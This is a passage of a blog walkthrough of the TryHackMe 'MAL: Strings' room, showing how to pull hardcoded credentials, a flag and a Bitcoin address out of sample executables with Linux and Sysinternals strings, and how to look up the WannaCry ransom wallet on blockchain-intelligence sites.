height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/1d4311db9d7f480ed5fcbdec3243a551_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-is-the-cve-entry-disclosed-by-the-company-teradata-in-their-viewpoint-application-that-has-a-password-within-astring&#34;&gt;What is the CVE entry disclosed by the company “Teradata” in their “Viewpoint” Application that has a password within a string?&#xA;&lt;/h4&gt;&lt;p&gt;We’ll follow the same process that we did for the last question. Let’s search the &lt;em&gt;CVEdetails&lt;/em&gt; and see if we can discover the &lt;em&gt;CVE&lt;/em&gt; entry assigned to the vulnerability in the &lt;em&gt;Teradata Viewpoint&lt;/em&gt; application.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;dacdadd32f28729ed52b28966de9dafa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;488px&#34; data-flex-grow=&#34;203&#34; height=&#34;393&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/dacdadd32f28729ed52b28966de9dafa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e83c1eaef7c6152462ba0e5701d92bc2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;468px&#34; data-flex-grow=&#34;195&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/e83c1eaef7c6152462ba0e5701d92bc2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0946ff229a15c310666f441b38b40ca6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/0946ff229a15c310666f441b38b40ca6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;according-to-owasps-list-of-top-ten-iot-vulnerabilities-name-the-ranking-this-vulnerability-would-fall-within-represented-astext&#34;&gt;According to OWASP’s list of “Top Ten IoT” vulnerabilities, name the ranking this vulnerability would fall within, represented as text.&#xA;&lt;/h4&gt;&lt;p&gt;For those who are unfamiliar, the &lt;em&gt;Open Worldwide Application Security Project (OWASP)&lt;/em&gt; is a foundation that publishes guidance to help developers create secure software projects. The &lt;em&gt;OWASP Top 10&lt;/em&gt; documents are like “what not to do” lists so developers can avoid the most commonly exploited security mistakes for a particular category of software or application. For our purposes, we want to review the &lt;em&gt;OWASP Internet of Things (IoT) Top 10&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;OWASP IOT Top 10:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project#tab=IoT_Top_10&#34;  title=&#34;https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project#tab=IoT_Top_10&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;OWASP Internet of Things Project&lt;/strong&gt;&#xA;_Oxford defines the Internet of Things as: &amp;ldquo;A proposed development of the Internet in which everyday objects have…_wiki.owasp.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project#tab=IoT_Top_10&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s take a look at the IoT guidance. The previous two questions have been about vulnerabilities due to &lt;em&gt;Hardcoded Passwords.&lt;/em&gt; According to OWASP, this the number one vulnerability facing IoT projects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0a9ec6adaacd239e98f86a346b51d0b4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;498&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/0a9ec6adaacd239e98f86a346b51d0b4_MD5.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fdfbd54a2be77b6489006ce4b08a0732_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/fdfbd54a2be77b6489006ce4b08a0732_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-2&#34;&gt;Task 2&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-correct-username-required-by-the-loginform&#34;&gt;What is the correct username required by the “LoginForm”?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-required-password-to-authenticate-with&#34;&gt;What is the required password to authenticate with?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-hidden-thmflag&#34;&gt;What is the “hidden” THM{} flag?&#xA;&lt;/h4&gt;&lt;p&gt;Now we get a little bit of hands-on time! The task files contain an executable called &lt;em&gt;LoginForm.exe&lt;/em&gt; — for &lt;em&gt;strings&lt;/em&gt; analysis we can use the built-in &lt;em&gt;strings&lt;/em&gt; command in &lt;em&gt;Linux.&lt;/em&gt; For the purposes of this task, I am using my own &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; virtual machine but you can use any distro of your choice including the &lt;em&gt;Kali Linux&lt;/em&gt; box on &lt;em&gt;TryHackMe&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, now that we have the file in our analysis environment, let’s just run the &lt;em&gt;strings&lt;/em&gt; command and let it print to the console and see what we find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8baddda746363604c0a49c172c91c617_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;610px&#34; data-flex-grow=&#34;254&#34; height=&#34;271&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/8baddda746363604c0a49c172c91c617_MD5.png&#34; width=&#34;689&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Strings output.&lt;/p&gt;&#xA;&lt;p&gt;Okay, there is a lot of data here. Maybe it will be easier to search if we output to a txt file instead? For this example, I am going to write to an output file called &lt;em&gt;stringsdump.txt&lt;/em&gt; but you can use whatever you’d like.&lt;/p&gt;&#xA;&lt;p&gt;strings LoginForm_1586175647590.exe &amp;gt; stringsdump.txt&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d7606ae85023e4a5b170b6a627e79e09_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;300px&#34; data-flex-grow=&#34;125&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/d7606ae85023e4a5b170b6a627e79e09_MD5.png&#34; width=&#34;324&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Strings output to txt file&lt;/p&gt;&#xA;&lt;p&gt;There we go! If we scroll through the list, we’ll stumble on a few strings that look like a username, password, and a flag. Great find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6dbbe90b00dc9cdd3bf7a60f5fdcbac0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;936px&#34; data-flex-grow=&#34;390&#34; height=&#34;205&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/6dbbe90b00dc9cdd3bf7a60f5fdcbac0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-3&#34;&gt;Task 3&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-key-term-to-describe-a-server-that-botnets-recieve-instructions-from&#34;&gt;What is the key term to describe a server that Botnets recieve instructions from?&#xA;&lt;/h4&gt;&lt;p&gt;Moving right along, there isn’t much that we need to do here. If we read through &lt;strong&gt;Task 3,&lt;/strong&gt; we are able to answer this question from the learning content:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;malware types such as botnets and ransomware rely upon information being stored within strings I.e. IP Addresses so that they are able to “call home” and connect to their “Command and Control” (C&amp;amp;C) server.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Below, I’ve added some additional context about the &lt;em&gt;Command and Control&lt;/em&gt; tactic from &lt;strong&gt;MITRE ATT&amp;amp;ACK&lt;/strong&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;TA0011&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  title=&#34;https://attack.mitre.org/tactics/TA0011/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Command and Control&lt;/strong&gt;&#xA;_The adversary is trying to communicate with compromised systems to control them. Command and Control consists of…_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d2fe4da61492ceb9082e5ccac2161115_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/d2fe4da61492ceb9082e5ccac2161115_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;name-the-discussed-example-malware-that-uses-strings-to-store-the-bitcoin-wallet-addresses-forpayment&#34;&gt;Name the discussed example malware that uses “strings” to store the bitcoin wallet addresses for payment&#xA;&lt;/h4&gt;&lt;p&gt;Same thing as the previous question — Let’s read through the task content to find the answer:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A famous example is the “Wannacry” ransomware. The “killswitch” was a domain that was discovered as a value contained within a string.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;760baf732ec6c08817ec14c0a37d1493_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/760baf732ec6c08817ec14c0a37d1493_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-4&#34;&gt;Task 4&#xA;&lt;/h3&gt;&lt;h4 id=&#34;list-the-number-of-total-transactions-that-the-bitcoin-wallet-used-by-the-wannacry-authors&#34;&gt;List the number of total transactions that the Bitcoin wallet used by the “Wannacry” author(s)&#xA;&lt;/h4&gt;&lt;p&gt;For this task, we’ll go and gather some intelligence on the &lt;em&gt;Bitcoin&lt;/em&gt; wallet used by this threat actor to see how many transactions have occurred. There are a few sites we can do this on but let’s first check out the suggested website, &lt;a class=&#34;link&#34; href=&#34;https://live.blockcypher.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;BlockCypher&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we look up the &lt;em&gt;Bitcoin&lt;/em&gt; address on the site, we’ll see the number of received &lt;em&gt;Bitcoins&lt;/em&gt; and the total number of transactions for the address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c1a9e48aec257d4b2553ef8b5a3fc9b7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;445&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/c1a9e48aec257d4b2553ef8b5a3fc9b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin address lookup on &lt;a class=&#34;link&#34; href=&#34;https://live.blockcypher.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;BlockCypher&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For fun, let’s check another source, &lt;a class=&#34;link&#34; href=&#34;https://scam-alert.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;ScamAlert&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; This website tracks &lt;em&gt;Bitcoin&lt;/em&gt; wallet fraud and scams and can be used to check a &lt;em&gt;Bitcoin&lt;/em&gt; addresses — very handy! Let’s look up the wallet address from the task here, too. We’ll find that the website has flagged it as a &lt;em&gt;ransomware&lt;/em&gt; address. But what if we want more detail?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0f155625d43c463284319a7e851fd961_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;384px&#34; data-flex-grow=&#34;160&#34; height=&#34;499&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/0f155625d43c463284319a7e851fd961_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin address lookup on &lt;a class=&#34;link&#34; href=&#34;https://scam-alert.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ScamAlert&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we click the source URL, we are taken to &lt;a class=&#34;link&#34; href=&#34;https://www.chainabuse.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Chainabuse&lt;/em&gt;&lt;/a&gt; (which has merged with &lt;em&gt;Bitcoin Abuse).&lt;/em&gt; This is another site that can be used to report on malicious crypto activity. Now, if we input the wallet address on this site, we get even more intelligence that confirms the association with &lt;em&gt;Wannacry/Wannacrypt.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;71f374ed3aa05ae768b4c704c781527c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;427px&#34; data-flex-grow=&#34;178&#34; height=&#34;447&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/71f374ed3aa05ae768b4c704c781527c_MD5.png&#34; width=&#34;797&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin address lookup on &lt;a class=&#34;link&#34; href=&#34;https://www.chainabuse.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Chainabuse&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s submit the answer of the total number of transactions that we discovered from &lt;em&gt;BlockCypher&lt;/em&gt; and move on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5b5e1fa4f885cc9dbbe4e5e354c6561e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2909px&#34; data-flex-grow=&#34;1212&#34; height=&#34;66&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/5b5e1fa4f885cc9dbbe4e5e354c6561e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-is-the-bitcoin-address-stored-within-complexcalculatorexe&#34;&gt;What is the Bitcoin Address stored within “ComplexCalculator.exe”&#xA;&lt;/h4&gt;&lt;p&gt;Okay, more hands-on time! This time around we will use a &lt;em&gt;Windows&lt;/em&gt; environment instead of &lt;em&gt;Linux.&lt;/em&gt; This is a great opportunity to try out the &lt;strong&gt;&lt;em&gt;Strings&lt;/em&gt;&lt;/strong&gt; tool which is part of the &lt;strong&gt;&lt;em&gt;Microsoft Sysinternals&lt;/em&gt;&lt;/strong&gt; suite of utilities_._&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, this task includes a virtual machine which has the &lt;em&gt;Sysinternals utilities&lt;/em&gt; installed already. We will use &lt;em&gt;strings.exe&lt;/em&gt; to extract the strings from within the included executable file, &lt;em&gt;ComplexCalculatorv2.exe&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s launch the virtual machine and see what we can discover!&lt;/p&gt;&#xA;&lt;p&gt;First, we’ll open the &lt;em&gt;Command Prompt (cmd.exe)&lt;/em&gt; as Administrator. Then, we will change the directory to the folder on the &lt;em&gt;Desktop&lt;/em&gt; containing the &lt;em&gt;Sysinternals&lt;/em&gt; tools_._ Since &lt;em&gt;Strings&lt;/em&gt; is a command-line utility, we will launch it from the command prompt and accept the license agreement.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;389cd3eb530547428e7f1c317bf17e4c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;460px&#34; data-flex-grow=&#34;191&#34; height=&#34;417&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/389cd3eb530547428e7f1c317bf17e4c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let’s go ahead and run &lt;em&gt;Strings&lt;/em&gt; using the following syntax. We’ll use the &lt;strong&gt;&amp;gt;&lt;/strong&gt; operator to direct the output to a file instead of the console:&lt;/p&gt;&#xA;&lt;p&gt;strings.exe ComplexCalculatorv2.exe &amp;gt; strings.txt&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;862767bb3e5dbb4901652ce10b75526f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;365px&#34; data-flex-grow=&#34;152&#34; height=&#34;525&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/862767bb3e5dbb4901652ce10b75526f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have sent the output to a text file, let’s open it up in &lt;em&gt;Notepad.&lt;/em&gt; Since we are searching for a &lt;em&gt;Bitcoin&lt;/em&gt; address, let’s speed this up and use &lt;em&gt;Notepad’s&lt;/em&gt; find function by pressing &lt;em&gt;CTRL + F&lt;/em&gt; and typing in &lt;em&gt;“bitcoin” —&lt;/em&gt; This should help us locate the &lt;em&gt;string&lt;/em&gt; quickly!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;01a425bffc82b3a16115ec5451d68a07_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;546px&#34; data-flex-grow=&#34;227&#34; height=&#34;313&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/01a425bffc82b3a16115ec5451d68a07_MD5.png&#34; width=&#34;713&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice! It looks like we found our answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f3699acec846a82d6b799895df4e4444_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2742px&#34; data-flex-grow=&#34;1142&#34; height=&#34;70&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/f3699acec846a82d6b799895df4e4444_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-5&#34;&gt;Task 5&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-name-of-the-toolset-provided-by-microsoft-that-allows-you-to-extract-the-strings-of-an-application&#34;&gt;What is the name of the toolset provided by Microsoft that allows you to extract the “strings” of an application?&#xA;&lt;/h4&gt;&lt;p&gt;Alright, we’re in the home stretch! &lt;strong&gt;Task 5&lt;/strong&gt; is going to focus on the theories that we just utilized in &lt;strong&gt;Task 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the last task, we used &lt;em&gt;Strings&lt;/em&gt; in the &lt;em&gt;Windows&lt;/em&gt; environment. This utility is part of the &lt;em&gt;Microsoft SysInternals&lt;/em&gt; toolset.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;  title=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Strings - Sysinternals&lt;/strong&gt;&#xA;_Search for ANSI and UNICODE strings in binary images._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-operator-would-you-use-to-pipe-or-store-the-output-of-thestringscommand&#34;&gt;What operator would you use to “pipe” or store the output of the &lt;strong&gt;strings&lt;/strong&gt; command?&#xA;&lt;/h4&gt;&lt;p&gt;I believe the question is asking about redirecting output, not piping, since we aren’t sending the output of the command into the input of another command. With that, remember in &lt;strong&gt;Task 4&lt;/strong&gt; that we directed the output of &lt;em&gt;Strings&lt;/em&gt; with the &lt;strong&gt;&amp;gt;&lt;/strong&gt; operator to a .txt file? I think we are looking for &lt;strong&gt;&amp;gt;&lt;/strong&gt; as the answer.&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-is-the-name-of-the-currency-that-ransomware-often-uses-forpayment&#34;&gt;What is the name of the currency that ransomware often uses for payment?&#xA;&lt;/h4&gt;&lt;p&gt;Okay, last one! In &lt;strong&gt;Task 4&lt;/strong&gt;, we were looking up the &lt;em&gt;Bitcoin&lt;/em&gt; address for &lt;em&gt;Wannacry&lt;/em&gt; and &lt;em&gt;Bitcoin&lt;/em&gt; is a type of cryptocurrency, so it seems to me that we already have the answer — let’s check our work!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;469fc73c26c414cf24bebd1b83a05743_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/469fc73c26c414cf24bebd1b83a05743_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Awesome job! We made it through the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/malstrings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MAL: Strings&lt;/strong&gt;&lt;/a&gt; room!&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the interesting room as I close in on the end of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/path/outline/blueteam&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Cyber Defense learning path&lt;/a&gt;. While this room was pretty brief and a little light on the hands-on content, it was still a fun experience to do some research with &lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CVEdetails&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://owasp.org/www-project-internet-of-things/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;OWASP&lt;/a&gt; and to explore the &lt;em&gt;Strings&lt;/em&gt; utilities available in &lt;em&gt;Linux&lt;/em&gt; and &lt;em&gt;Windows.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also enjoyed checking out some of the c_rypto wallet_ lookup tools and see what kind of intelligence can be found about &lt;em&gt;Bitcoin&lt;/em&gt; addresses. This will definitely be useful in the field! It never hurts to have some more experience with a new tool to keep in your kit, after all!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along. I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;CVE Details:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cvedetails.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;OWASP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project#tab=IoT_Top_10&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project#tab=IoT_Top_10&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;BlockCypher:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://live.blockcypher.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://live.blockcypher.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ScamAlert.io:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://scam-alert.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://scam-alert.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ChainAbuse:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.chainabuse.com/&#34;  target=&#34;_blank&#34; 